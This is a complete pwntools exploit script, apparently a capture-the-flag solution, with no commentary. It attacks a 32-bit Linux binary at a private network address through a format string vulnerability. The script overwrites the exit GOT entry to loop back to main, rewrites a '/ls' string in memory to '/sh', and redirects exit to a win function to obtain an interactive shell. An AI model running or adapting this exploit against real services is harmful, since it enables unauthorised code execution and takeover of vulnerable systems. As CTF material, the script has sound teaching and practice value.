from_phenol_with_fail :)

from_phenol_with_fail.py

from pwn import *

context.arch = 'x86'
context.bits = 32
context.endian = 'little'
context.os = 'linux'
context.log_level = 'warning'

dbg = False

BINARY = "./from_phenol_with_fail"
elf = ELF(BINARY)

def exec_fmt(payload):
	if dbg:
		p = process(BINARY)
	else:
		p = remote("10.22.6.11", 7777)

	p.sendline(payload)
	return p.recvall()

exit_GOT = elf.got['exit'] # exit@GOT

win = elf.symbols['keystone']

print "exit@got:\t"+hex(exit_GOT)
print "win:\t"+hex(win)


autofmt = FmtStr(exec_fmt)

offset = autofmt.offset

print "fmt offset:\t"+str(offset)

payload = fmtstr_payload(offset, {exit_GOT: 0x8048576}, write_size='byte') #ret2main

if dbg:
	p = process(BINARY, stderr=PIPE)
else:
	p = remote("10.22.6.11", 7777)

p.sendline(payload)

payload = fmtstr_payload(offset, {0x804a034: 0x0068732f}, write_size='byte') #overwrite /ls with /sh

p.sendline(payload)

payload = fmtstr_payload(offset, {exit_GOT: win}, write_size='byte') #jump to win with /bin/sh

p.sendline(payload)

p.interactive()